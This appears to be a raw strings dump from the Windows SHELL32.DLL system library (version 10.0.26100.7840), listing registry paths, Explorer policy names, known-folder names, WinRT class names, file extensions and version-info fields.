c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy Windows.Storage.Search.ContentIndexer get_Revision Windows.Foundation.Diagnostics.AsyncCausalityTracer OplockPropStore Windows.System.Internal.Launch.LauncherQueryInfo resources %04x MultiSelectModel Single GetFolderAsync WinSta0 WinLogon Screen-Saver Windows.Internal.CapabilityAccess.CapabilityAccess .pif .ico .com .cmd .bat .lnk OpenIcon DefaultIcon TelemetrySalt Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\%s NewStartPanel ClassicStartMenu Software\Microsoft\Windows\Shell\Associations\UrlAssociations\%s UserChoice HideNonStorageServiceMountedDrives Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\RemovableDrives NoDelegateSearchRoot ShowAllOpticalDevices HideNonRemovableDrives ForceAllDrivesRemovable UseRemovableDrivesRegPath UseRemovableStorageRegPath AllowChildAliasRegistration eFriendlyAppName ApplicationCompany Applications\%s %s.%s DEVPKEY_Storage_Portable ncalrpc No transparent thumbnail SYSTEM\Setup SystemSetupInProgress link cUICLSID DirectoryClass .ShellClassInfo get_ApplicationDataLocal get_ApplicationDataTemporary Windows.Storage.StorageFileStaticsBrokered Windows.Storage.StorageFolderStaticsBrokered Windows.Storage.KnownFoldersStaticsBrokered GetFoldersAsyncOverloadDefaultOptionsStartAndCount GetFoldersAsync IsCommonFolderQuerySupported Windows.Storage.Search.IStorageFolderQueryOperations AreQueryOptionsSupported GetFilesAsyncOverloadDefaultOptionsStartAndCount GetFilesAsync IsCommonFileQuerySupported IsEqual Software\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes Software\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\%s\Modifiers Mode Class Theme Parent HelpTopic LayoutType DefaultView MostRelevant PerceivedType CanonicalName TopViewPersistence ViewSettingsPersistence FFlags Sort prop:0System.ItemNameDisplay;0System.Size;0System.ItemType;0System.DateModified prop:0System.ItemNameDisplay;0System.Size;0System.ItemType;0System.DateModified;1System.DateCreated;1System.DateAccessed;1System.FileAttributes;1System.PerceivedType;1System.FileOwner;1System.Keywords;1System.Rating;1System.Author;1System.Title;1System.Comment;1System.FileDescription GroupCollapseState NodeSlot Local\Shell.CMruPidlList NodeSlots RegFolderDelegateCLSID ThreadFlags User32 {e357fccd-a995-4576-b01f-234630154e96} runas movie video Progid folder picture document recordedtv SharingHandler StorageHandler ApplicationName LocationDescriptionHandler ext-ms-win-session-wtsapi32-l1-1-0 ext-ms-win-session-wtsapi32-l1-1-1 ext-ms-win-session-wtsapi32-l1-1-2 ext-ms-win-session-usermgr-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-1 ext-ms-win-ntuser-windowstation-l1-1-2 lext-ms-win-rtcore-ntuser-iam-l1-1-0 ext-ms-win-rtcore-ntuser-iam-l1-1-1 ext-ms-win-rtcore-ntuser-iam-l1-1-2 api-ms-win-core-synch-l1-2-0.dll kernel32.dll lext-ms-win-com-ole32-l1-1-0 ext-ms-win-com-ole32-l1-1-1 ext-ms-win-com-ole32-l1-1-2 ext-ms-win-com-ole32-l1-1-3 ext-ms-win-com-ole32-l1-1-4 ext-ms-win-com-ole32-l1-1-5 ext-ms-win-com-ole32-l1-3-0 ext-ms-win-ntuser-dde-l1-1-0 ext-ms-win-devmgmt-policy-l1-1-0 ext-ms-win-devmgmt-policy-l1-1-1 ext-ms-win-devmgmt-policy-l1-1-2 ext-ms-win-devmgmt-policy-l1-1-3 ext-ms-win-shell-exports-internal-l1-1-0 ext-ms-win-shell-exports-internal-l1-1-1 lPlaceholderCapabilities AllocatedChunksBitmap PlaceholderFileInformation DefaultMakeAvailableOffline ext-ms-win-shell-fileplaceholder-l1-1-0 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll Local\SM0:%lu:%lu:%hs Windows.Data.Json.JsonObject BrowserSessionId shell:::{f874310e-b6b7-47dc-bc84-b9e6b38f5903} shell:::{e88865ea-0e1c-4e20-9aa6-edcd0212c87c} FileType SYSTEM Windows.Foundation.Collections.Detail.Vector Windows.Storage.Provider.StorageProviderSyncRootManager Windows.Storage.Provider.StorageProviderGetPathForContentUriResult Windows.Storage.Provider.StorageProviderGetContentInfoForPathResult Windows.Storage.Provider.StorageProviderSyncRootInfo Windows.Storage.Provider.StorageProviderFileTypeInfo Windows.Storage.Provider.StorageProviderItemPropertyDefinition Windows.ApplicationModel.Background.StorageLibraryChangeTrackerTrigger Windows.ApplicationModel.Background.StorageLibraryContentChangedTrigger Windows.ApplicationModel.DataTransfer.SharedStorageAccessManager Windows.Storage.Streams.FileRandomAccessStream Windows.Storage.Streams.RandomAccessStreamReference Windows.Storage.BulkAccess.FileInformationFactory Windows.Storage.AccessCache.StorageApplicationPermissions Windows.Storage.CachedFileManager Windows.Storage.PathIO Windows.Storage.FileIO Windows.Storage.StorageFolder Windows.Storage.Provider.CachedFileUpdater Windows.Storage.StorageLibraryLastChangeId Windows.Storage.StorageLibraryChangeTrackerOptions Windows.Storage.DownloadsFolder Windows.Storage.SystemDataPaths Windows.Storage.AppDataPaths Windows.Storage.UserDataPaths Windows.Storage.KnownFolders Windows.Storage.StorageLibrary Windows.System.User Windows.Foundation.Uri Windows.Data.Text.SemanticTextQuery TRUE FALSE %s%s %s%I64u%s %s%I64d%s %s%g%s PlaceholderResolverCLSID ConflictResolutionUpdateInformation Windows.Storage.StorageLibraryStaticsBrokered Windows.Storage.DownloadsFolderStaticsBrokered Windows.Storage.NeighboringFilesQueryFactory Windows.Internal.Storage.DDEExecHelper Windows.Internal.Storage.StorageFileStartExperience Windows.Storage.Search.Internal.BrokeredStorageLibraryContentChangedTriggerHelper SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes AllowDeferredPrecreate DataProtectionUnderLock-WindowsCore-Enabled pPackage\Data Package\Index\PackageFullName PackageType PackageFamily PackageFullName TargetDeviceFamilyName MutableLocation MutableLink InstalledLocation OSMaxVersionTested Volume PackageOrigin Flags2 Personal Windows .DEFAULT Fonts Software\Microsoft\Windows\CurrentVersion\AppCapture AppCapturePath Software\Microsoft\Windows\CurrentVersion\Developer DevelopmentFilesPath Packages\%s p\%s LIBRARY ProcessTSUserLogonAsync Software\Policies\Microsoft\Windows\System KnownFolders IconResource Global\KFI%s KFI%s IconFile IconIndex Software\Policies\Microsoft\Windows\Explorer\DisableKnownFolders ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{2227A280-3AEA-1069-A2DE-08002B30309D} Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Backup Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders AppData\Roaming\Microsoft\Credentials AppData\Roaming\Microsoft\Crypto AppData\Roaming\Microsoft\Protect AppData\Roaming\Microsoft\SystemCertificates %SystemDrive%\Data\SharedData %SystemDrive%\Data\SystemData CommonFilesDir ProgramFilesDir Documents Videos Software\Microsoft\Windows\CurrentVersion\Explorer\Libraries PolicyFileModifiedTime *.library-ms AvoidHandlerCache %s:%s LOCALHOST 127.0.0.1 Don't Translate Aliases clsid ParseUsingBestPoint mshelp://windows/?id=0c6ccc80-7c10-4 Volume{ Kind. Explorer Uninstall ActiveDesktop Packages\%s INetCache INetCookies INetHistory System.ItemFolderPathDisplayNarrow System.StorageProviderFileRemoteUri:= {20D04FE0-3AEA-1069-A2D8-08002B30309D} {8895B1C6-B41F-4C1C-A562-0D564250836F} {00021500-0000-0000-C000-000000000046} {89BCB740-6119-101A-BCB7-00DD010655AF} {000214F9-0000-0000-C000-000000000046} {382848c8-110f-4402-b0dc-21f5d4cf3938} {BB2E617C-0920-11d1-9A0B-00C04FC2D6C1} System.StorageProviderFileIdentifier:= play open find edit Clsid NoRun print _file music NoFind openas _bylos _fails _pliki -filer _files .files NonEnum NoClose enqueue Explore preview _failid _elemei NoSMHelp NoDrives _fajlovi _fitxers _soubory -Dateien NoDispCPL HideClock NoWinKeys NoWebView NoAddPage NoSyncAll NoWebMenu WinOldApp NoNetHood NoDesktop _datoteke _dosyalar _arquivos _archivos _fichiers ShellEx\%s NoSMMyDocs GreyMSIAds NoRealMode NoFileMenu _ficheiros _tiedostot _bestanden NoThemesTab NoCDBurning DisallowCpl RestrictCpl DisallowRun MyDocsOnNet RestrictRun DropHandler System.Kind NoSizeChoice NoEncryption NoRemovePage IntelliMenus NoComponents ClassicShell NoNTSecurity NoDisconnect NoAddPrinter NoSetTaskbar NoSetFolders _fitxategiak NoWebServices HideRumputerVerb NoForgetSoftwareUpdate NoActiveDesktopChanges NoNetConnectDisconnect System.ItemPathDisplay System.ItemNameDisplay AllowFileCLSIDJunctions NoRemoteRecursiveEvents NoStartMenuMorePrograms NoPropertiesMyDocuments NoControlPanelBarricade NoStartMenuNetworkPlaces NoChangeMappedDriveLabel DisableCurrentUserRunOnce LinkResolveIgnoreLinkInfo NoStartMenuMFUprogramsList DisableLocalMachineRunOnce NoChangeMappedDriveComment System.StorageProviderId:= System.ItemFolderPathDisplay System.ItemFolderNameDisplay System.ItemPathDisplayNarrow Windows.SearchActiveDirectory System.IsPinnedToNameSpaceTree ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Boolean Windows.Storage.FileAttributes Object String .cab .ini .iso .ps1 .psd1 .psm1 .pst .reg .ttf Indexed System.ParsingPath System.FileAttributes DateCreated System.DateCreated System.Thumbnail DisplayType System.ItemTypeText FolderRelativeId System.FolderRelativeId ContentType System.ContentType Provider System.StorageProviderId IsAvailable System.FileOfflineAvailabilityStatus %programfiles%\windowsapps %windir%\systemapps %systemdrive%\data\programs\windowsapps Folders .m3u .zpl DateModified System.Size Size Author System.ItemDate ItemDate Keywords System.Title Title System.Author Rating System.Comment Comment System.Keywords Height System.Photo.DateTaken DateTaken System.Rating Latitude System.Image.HorizontalSize Width System.Image.VerticalSize CameraManufacturer System.GPS.LongitudeDecimal Longitude System.GPS.LatitudeDecimal Orientation System.Photo.CameraModel CameraModel System.Photo.CameraManufacturer System.V ;Common Start Menu Start Menu Common Desktop Programs My Video My Music Profile Recent Favorites RecycleBinFolder Common Programs MyComputerFolder NetworkPlacesFolder ControlPanelFolder SystemX86 Local AppData InternetFolder CD Burning My Pictures Common AppData Common Startup Templates PrintHood NetHood SendTo PrintersFolder AppData ProgramFiles ProgramFilesCommonX86 ProgramFilesX86 History Cookies Cache Common Documents Common Templates LocalizedResourcesDir ResourceDir CommonVideo CommonMusic CommonPictures Common Administrative Tools Administrative Tools ProgramFilesCommon Startup ConnectionsFolder OEM Links LocalCache\Roaming LocalCache\LocalLow LocalCache\Local -237 -238 -173 %SystemRoot%\system32\shell32.dll -235 -236 ProgramFilesX86Common UserProfiles Public Sample Music SampleVideos Sample Videos CommonDownloads Downloads Application Shortcuts Microsoft\Windows\Application Shortcuts Microsoft\Windows\Recent StartUp Microsoft\Windows\Start Menu Microsoft\Windows\Templates SamplePictures Sample Pictures SampleMusic Microsoft\Windows\SendTo Microsoft\Windows\Network Shortcuts Microsoft\Windows\Printer Shortcuts AppData\Roaming Microsoft\Windows\INetCookies Microsoft\Windows\INetCache Microsoft\Windows\History AppData\Local windows.openwith windows.open2 \SysWOW64 \SysARM32 @[]<>,:;\ s-1-5-20 s-1-5-18 s-1-5-19 %systemdrive%\Program Files CommonProgramFiles CommonFilesDir (x86) CommonFilesDir %system32% %systemroot%\system32 %programfilesnative% %sysnative% %windir% ProgramFilesDir (x86) ProgramFiles(x86) CommonProgramFiles(x86) ProgramFilesDir OSDataDrive TemporaryDrive ProgramData DataDrive \??\UNC\ .pot .potm .onetoc .onepkg .pbix .pps .potx .pbids .fluid .loop .dotm .dotx .note .ms-one-stub .mpp .mpt .docb .dot .accdb .docm .xlt .xltm .xlsm .xlw .clipchamp .design .xltx .xsn .vst .vstm .vssm .vssx .xlc .xlsb .vstx .vsx .vsd .vsdm .sway .vdx .vdw .vss .vsdx .vsw .pptm .sldx .ppsm .ppsx .splist .spo .sldm .pub .form .whiteboard eject format closeSession erase RunAs SuggestionHandlerFactory Win7AppCompat _RelativePathCheck_Win7 _RelativePathCheck_Win8 RelativePathCheckSwitch Disallow relative paths in links for Win8 Don't check for relative paths in Win7 and earlier Check for relative path and if true return E_INVALIDARG from CShellLink::Save MemoryDivisor GrowPolicy MaxMemory MaxThumbnailMemoryIn Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 LegacyPlayerInvokeLimit Windows.Foundation.IAsyncOperation`1 Windows.Storage.Streams.IRandomAccessStream Windows.Storage.FileProperties.StorageItemContentProperties Windows.Foundation.IAsyncOperation`1> Windows.Foundation.IAsyncOperation`1> "%s" %s ForceRemove NoRemove Delete std::exHint Windows.Storage.Pickers.CachedFileUpdateManager Windows.UI.Xaml.Interop.Marshal.IMarshalPropertyChangedEventArgs Windows.UI.Xaml.Interop.Marshal.IMarshalCustomPropertyProvider Windows.UI.Xaml.Interop.Marshal.IMarshalCustomProperty Windows.Foundation.AsyncOperationCompletedHandler`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.Collections.IIterable`1> Windows.Foundation.Collections.IIterable`1> Windows.Foundation.Collections.IIterable`1> Windows.Foundation.Collections.IKeyValuePair`2 Windows.Foundation.Collections.IKeyValuePair`2 Windows.Foundation.Collections.IKeyValuePair`2 Windows.Foundation.Collections.IIterator`1> Windows.Foundation.Collections.IMapView`2 Windows.Foundation.Collections.IIterator`1> Windows.Foundation.Collections.IMapView`2 Windows.Foundation.Collections.IIterator`1> Windows.Foundation.Collections.IMapView`2 Windows.Foundation.Collections.IIterator`1 Windows.Foundation.Collections.IVectorView`1 Windows.Foundation.Collections.IIterator`1 .ReplaceAppointment Windows.GamingApp Windows.PhoneCallActivation zh-Hans zh-CHT zh-CHS %s\%s.mui %s\%s\%s.mui .\%s.mui .\%s\%s.mui iu-Latn-CA sr-BA-Cyrl bs-Cyrl-BA iu-CA-Latn bs-Latn-BA bs-BA-Cyrl zh-Hant bs-BA-Latn sr-Latn-CS sr-Cyrl-CS sr-SP-Latn sr-Latn-BA sr-SP-Cyrl sr-Cyrl-BA sr-BA-Latn Locale Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383} Parse Using IUri AssocFlags CDwnCodePage __COMPAT_LAYER NewTabPageFlightWebIG NewTabPageFlightUrlKind NewTabPageFlightId NewTabPageFlightMUID Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI ApplicationHostBridgeWindow Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp 5b04b775-356b-4aa0-aaf8-6491ffea5602_6f5w9sgpe6vgt!WP Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App Microsoft.Cortana_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1 MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp StartAppVS_xbqbv2ksdy6ng!App Microsoft.Windows.Cortana_cw5n1h2txyewy!ppleae38af2e007f4358a809ac99a64a67c1 MicrosoftWindows.Search_cw5n1h2txyewy!CortanaUIFullTrustApp HoloShell_cw5n1h2txyewy!HoloShell trkwks RedirectionScope FolderRedirectionWait LibraryDescriptionParsingPath Merge Any LibraryLocation CLSID\%s\Instance\InitPropertyBag AudioCD Drive\shellex\Category Drive Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\RemovableStorage NetLinkTimeout Shell_TrayWnd ::{9db1186e-40df-11d1-aa8c-00c04fb67863}: Software\Microsoft\Tracking\TimeOut %s,-%u remove removefromhome CurrentVersion Software\Microsoft\Windows Search InitWithSubLocationLibraryDescription InitWithLibraryDescription LibraryFolder\Background ShowNonIndexedLocationsInfoBar ::{d84fa0c2-b0b3-4470-9345-75db0ec5a83a},ChildCLSID={267cf8a9-f4e3-41e6-95b1-af881be130ff}& FolderDefinitionData Software\Microsoft\Windows\CurrentVersion\Explorer\UsersLibraries\NameSpace UserLibraryFolder jjjj &f <%1 NULL:NameDest> <%8 NULL:StorageProviderrecycleLink> <%7 NULL:StorageProviderNameSource> <%4 NULL:Owner> <%3 NULL:OpText> <%5 NULL:Error> <%7 NULL:StorageProviderNameDest> <%6 NULL:CreationDateItem> DisplaySwitch.exe Software\Microsoft\Windows\CurrentVersion\Explorer\ExecuteTypeDelegates\%s LaunchTo LaunchToSyncRoot ms-settings: SettingsUri Root For Relative Parse Y24k8UPs WindowsRetailDemo Global\ShellCreateObjectTaskReadyEvent SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\OOBE UnattendSetAutologon EdgeUri SpotlightDisabledReason SpotlightNotOnboardedReason NotFound ThemeName Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpapers %SystemRoot% BackgroundType oem. Windows.UI.StartScreen.SecondaryTile Windows.Internal.Tiles.TileStore Windows.Internal.Tiles.TileQueryFilter Windows.UI.Search MUIVerb explorer STORAGE_REMOVE_METADATA_WHAT_PERSONAL mshelp://windows/?id=0acda837-dacc-4a88-bb01-43dc816ad382 Button SysDateTimePick32 SysMonthCal32 Results Software\Microsoft\Windows\CurrentVersion\Explorer\OpenContainingFolderHiddenList TextScaleChanged \PerFolderSettings Slots %ws\%d FolderLayoutContainer FolderLayout FolderLayoutContainerForce ViewLayoutContainer InitializeFrameElements ShellView ModuleMRUSize %ws\PerExplorerSettings\%d\%ws %ws\PerFolderTypeId\%ws\%ws childpages Full Parse Bind shell:::{d84fa0c2-b0b3-4470-9345-75db0ec5a83a},ChildCLSID={2965e715-eb66-4719-b53f-1672673bbefa}&ShowAll=TRUE&NoChildDropTarget=TRUE t.search-ms Enumerate with respect to the IDList Software\Microsoft\Notepad\DefaultFonts lfFaceName iPointSize Software\Microsoft\Windows\CurrentVersion\Explorer\AppLocations\Namespace DesktopPreviewHandler {8895b1c6-b41f-4c1c-a562-0d564250836f} ListViewPopupControl LibraryDescriptionParsingPath ::{d84fa0c2-b0b3-4470-9345-75db0ec5a83a},ChildCLSID={267cf8a9-f4e3-41e6-95b1-af881be130ff}& Software\Microsoft\Windows\CurrentVersion\URL\DefaultPrefix file:// dsquery.dll, OpenQueryWindow %s DefaultValue SPIActionGet Bitmap WarningIfNotDefault SPIActionSet CLSID DesktopProcess UseCompactMode ShowThisPC ShowNetwork ShouldPrelaunchFileExplorer MSAAStateImageMapCount MSAAStateImageMapAddr ScrollBar ? %s combobox ecomboboxex Internet Explorer vnd.ms.radio: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths text/html Software\Microsoft\Internet Explorer\URLSearchHooks ChildCLSID Software\Microsoft\Windows\CurrentVersion\Explorer\PublishedItems\Namespace PubItemFolder.Capabilities WindowsLockdownDangerousExtensionEnforcement \Device\CdRom%s D:P(A;;GA;;;WD)(A;;GA;;;AC) System\CurrentControlSet\Services\FsDepends\Parameters\AccessControl ISOMountAllowNormalUser :%ld:%ld Software\Microsoft\Windows\CurrentVersion\Explorer\Gallery GalleryScopeHealthTimeStamp GalleryReIndexingAttempted ParseWithStorageItem Validate URL PrefetchedKeys AutoList LeafCondition_%d_Operand LeafCondition_%d_PKEY LeafCondition_%d_Value LeafCondition_%d_ValueType rename properties FolderScope ::%ws IndexerOffTitleStringIndex SearchDisplayName IndexerOffCFDTitleStringIndex IndexerOffDescriptionStringIndex ToolTipProperties IndexerOffCFDDescriptionStringIndex SortColumns LeafConditionCount AutoListFlags FolderTypeId_46240254 FirstChanceIconSize FirstChanceFolderLogicalViewMode FirstChanceIconSizeStack FirstChanceFolderLogicalViewModeStack n%ws\* DragOverFormatString ms-settings:network-vpn Internushed MaxEntriesStored MinEntriesFlushed MaxEntriesFlushed NumFlushes NumAllocationFailures NumBucketLimitReached SummaryCount NumLargeEventFailures MURL Protocol SOFTWARE\Microsoft\Windows\CurrentVersion\SystemProtectedUserData %s\%s\%s\%s hUserChoiceLatest Hash UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts Software\Microsoft\Windows\Shell\Associations\UrlAssociations SetDefault-Error: process=%ls SetDefault-Error(%d): %#X AppDefaults Pending Hash rotation migration, current: {}, target: {} HashVersion SetDefault: Association=%ls, ProgId=%ls SetDefault-Info: Association=%ls, ProgId=%ls, U=%ls, T=%02d:%02d:%02d:%02d:%02d:%02d, H=%ls SetDefault-ProgIdAndHash: Association=%ls, ProgId=%ls SetDefault-ProgIdAndHash: UserChoice Association=%ls, ProgId=%ls, U=%ls, T=%02d:%02d:%02d:%02d:%02d:%02d:%02d, H=%ls SetDefault-Mismatch: Association=%ls, ProgId=%ls, U=%ls, T1=%02d:%02d:%02d:%02d:%02d:%02d, T2=%02d:%02d:%02d:%02d:%02d:%02d SetDefault-Modern: Association=%ls, ProgId=%ls NoValidateFilenameChars SetDefault-Error: %hs!%p CallContext:[%hs] SetDefault-Error: %#X SetDefault-Error: %hs(%u)\%hs!%p clearall MessageFilter CMBPopupOpen CMBAutomation CMBExecute CMBFullCancel CMBDragCancel CMBOpenChevronMenu CMBActivate MenuWindow Toolbar MenuShowDelay %s!%s SplashScreen UserContext PreviousExecutionState ActivationKind IsInitialized IsHolographic IsForeground ActivationValueSetReference AamActivityId AamActivationId IsApplicationMultiviewActivationPolicyEnabled MultiView:AamActivationId Windows.System.Internal.UserManager ChangeSettingsElement background ControlPanelNavLinkClicked Microsoft usbxhci usbxhci_dsf Windows.Security.Cryptography.CryptographicBuffer Images32-752C152E456E} ::{F82DF8F7-8B9F-442E-A48C-818EA735FF9B} ::{8060B2E3-C9D7-4A5D-8C6B-CE8EBA111328} ::{E95A4861-D57A-4BE1-AD0F-35267E261739} ::{96AE8D84-A250-4520-95A5-A47A7E3C548B} ::{5EA4F148-308C-46D7-98A9-49041B1DD468} ,; HDWWIZ.CPL MMSYS.CPL NCPA.CPL SYSDM.CPL MinSize SubText ModuleID INTL.CPL SortColumn InitialSize DEVAPPS.CPL INETCPL.CPL MLCFG32.CPL ThemeSubApp SizingTarget PASSWORD.CPL ODBCCP32.CPL ReservedSpace PrioritySizer InitialExpand ReservedTarget ReservedMaster SlidesUpAndDown DisablingPolicy GrowTargetFirst InitialMaxxedOut FramePersistType InitialVisibility ExplorerVisibility UPS.CPL PORTS.CPL MODEM.CPL SRVMGR.CPL NETCPL.CPL TELEPHON.CPL POWERCFG.CPL navigationtargetroot DownOrRightGrowsTarget navigationtargetrelative SizeMenu ReadOnly Vertical ThumbnailId MaxThumbSize HideProperty ForceUseIcon firsttabtarget FixedThumbSize TaskButtonSheet ShellExecuteVerb SplitButtonSheet ShellExecuteParams Presseanager Group BACKSCAPE #32770 DeleteGroup DeleteItem ReplaceItem Reload CreateGroup ShowGroup AddItem ExitProgman NewFolder NewLink ClassicStartMenu NewStartPanel {645FF040-5081-101B-9F08-00AA002F954E} {F02C1A0D-BE21-4350-88B0-7367FC96EF3C} {871C5380-42A0-1069-A2EA-08002B30309D} {5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0} POLI {59031a47-3f72-44a7-89c5-5595fe6b30ee} {20D04FE0-3AEA-1069-A2D8-08002B30309D} SP_0 SP_1 Weight Optimization BorderMode BlurAmount .avi .mov .mkv .mp4 CleanupTime SessionTime openfilelocation copylink addlocations unpinfromnavpane pintonavpane tmakedefault Completion EditDistance @shell32.dll,-34819 @shell32.dll,-34818 @shell32.dll,-34821 @shell32.dll,-34820 @shell32.dll,-34823 @shell32.dll,-34822 @shell32.dll,-34825 @shell32.dll,-34824 @shell32.dll,-34827 @shell32.dll,-34826 @shell32.dll,-34830 @shell32.dll,-34829 @shell32.dll,-34832 @shell32.dll,-34831 @shell32.dll,-34839 @shell32.dll,-34836 Library CompressedFolder Generic UserFiles UsersLibraries Music Documents Videos Pictures Internet Communications @shell32.dll,-34817 OpenSearch @shell32.dll,-34835 @shell32.dll,-34840 @shell32.dll,-34837 @shell32.dll,-34828 @shell32.dll,-34838 Software\Classes\ \Application Data .webp .jxr .gif .jfif .tif .tiff .dib .wdp .pdf .epub .crw .erf .kdc .m3u .cr2 .arw microsoft-edge-holographic microsoft-edge .rwl .rw2 .svg .sr2 .nrw .nef .pef .orf .raw .mrw .xml ms-xbl-3d8b930f read .itc2 .ipa .itl .itdb .json .jps .map .log .csv .css ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ MonitorMoved MonitorAdd MonitorRemove MonitorDPIIncrease None MonitorChange InitialConfiguration MonitorDPIDecrease GridSizeIncrease GridSizeDecrease TaskbarAdjust RelinkToExisting CreateBaseAndRelink LeavesWhiteSpace Exact RearrangingRequired ShiftingRequired TargetHasMoreScreens TargetHasLessScreens TargetHasOneMoreScreen TargetHasOneLessScreen Undefined SameNumberOfScreens PanoramaPortraitThreshold D:(A;;GA;;;SY)(A;;0x%x;;;%s) Microsoft-Windows-CDesktopAppSpaceElement-4BF42B71-EA88-489E-917F-495A116C3596 PreviewPaneSizer_Size PageSpaceControlSizer_Visible Windows.UI.Core.CoreWindow Elevation:Administrator!new:%s DriveIndex StagingPath ImageStashLocation Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\StagingInfo Active Drive Type Windows Burn Temp Files Auto Eject Current Media UdfIncompatible UdfsCloseSessionOnEject System\CurrentControlSet\Control\FileSystem CDBurnExclusive RemoteSessionDisable-DriveIndex RemoteSessionDisable-CD Recorder Drive DriveNumber %s\Burn%d NextStagingPathIndex CurrentExt \/:*?|<>; ExtensionCompletionState Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\AudioBurnHandlers verb Skip Binding CLSID SkipBindingCLSIDArray %c%d FMIFS.DLL \\.\%c: DISKCOPY.DLL eSHELL CheckDiskUI%d SCANDSKW ?/\|,;:+=<>[]".* ReFS NTFS JOLIET EXFAT FAT32 Destination can'Kids Plus! InstallDir Software\Microsoft\Microsoft Kids\Kids Plus! Software\Microsoft\Plus!\Setup Software\Microsoft\Plus!98 DestPath Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpaper\MRU CLSID\{ LastScan Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpaper Software\Microsoft\Windows\CurrentVersion\Setup SharedDir http://a9.com/-/spec/opensearch/1.1 DataSourceCLSID OpenSearchListTemplate OpenSearchQueryTemplate {48E277F6-4E74-4cd6-BA6F-FA4F42898223} BaseStartPage pageOffset BaseStartIndex indexOffset application/atom+xml application/rss+xml results collection itemlist OpenSearchShortName ShortName SupportsAdvancedQuerySyntax prop:System.DefaultSaveLocationDisplay p%s AllowNonIndexableLocations %s:%s %s%d DefaultIcon SearchHistory\%s SearchHistory\%s\%s Software\Microsoft\Windows\CurrentVersion\Explorer\%s ApplicationSearchHistory SearchHistory InFolder Condition Filters D:(A;;FA;;;%s) D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FRFWSD;;;%s) UseDefaultTile %ProgramData% SystemSetupInProgress OOBEInProgress ContextMenuOptIn {44075D61-2050-4DF4-BC5D-CBA88A84E75B} url%lu %LOCALAPPDATA%\VirtualStore DisableRemotePage DisableLocalPage Software\Policies\Microsoft\PreviousVersions NoPreviousVersionsPage MSIMEModeBias AggregatorCookie ::%s, AutoNavigated Wordwheel AppEvents\Schemes\Apps\%s\%s\.current .Default white Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI NewTabPageFlightWebIG NewTabPageFlightUrlKind NewTabPageFlightId NewTabPageFlightMUID [.[@[X[r[ u'(@ -/1I< -#("% '$&! TTFontDimenCache TTFontDimenCacheDBCS _DEFAULT.PIF \WINDOWS\PIF ja-JP_radstr TYPELIB VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Windows Shell Common Dll FileVersion 10.0.26100.7840 (WinBuild.160101.0800) InternalName SHELL32 LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename SHELL32.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7840 VarFileInfo Translation DisableMetaFiles gdi32.dll \fontdrvhost.exe ntdll.dll %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll YRAW mscms.dll dDISPLAY sRGB Color Space Profile.icm mf3216.dll Print test Meta Print Document not started fError from StartDocDlgW Error from driver UI StartDoc On Info DC Canceled from StartDocDlgW StartDocPrinter failed w/ error other than INVALID_DATA_TYPE error calling MFP_StartDocW Cancelled from driver UI NT EMF 1.008 WStartDocW failed because EMF failed and METAFILE_DRIVER is on Job Cancelled {084f01fa-e634-4d77-83ee-074817c03581} rhttp://schemas.microsoft.com/SMI/2011/WindowsSettings \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows NT\Printers ApplicationDriverIsolation printerDriverIsolation 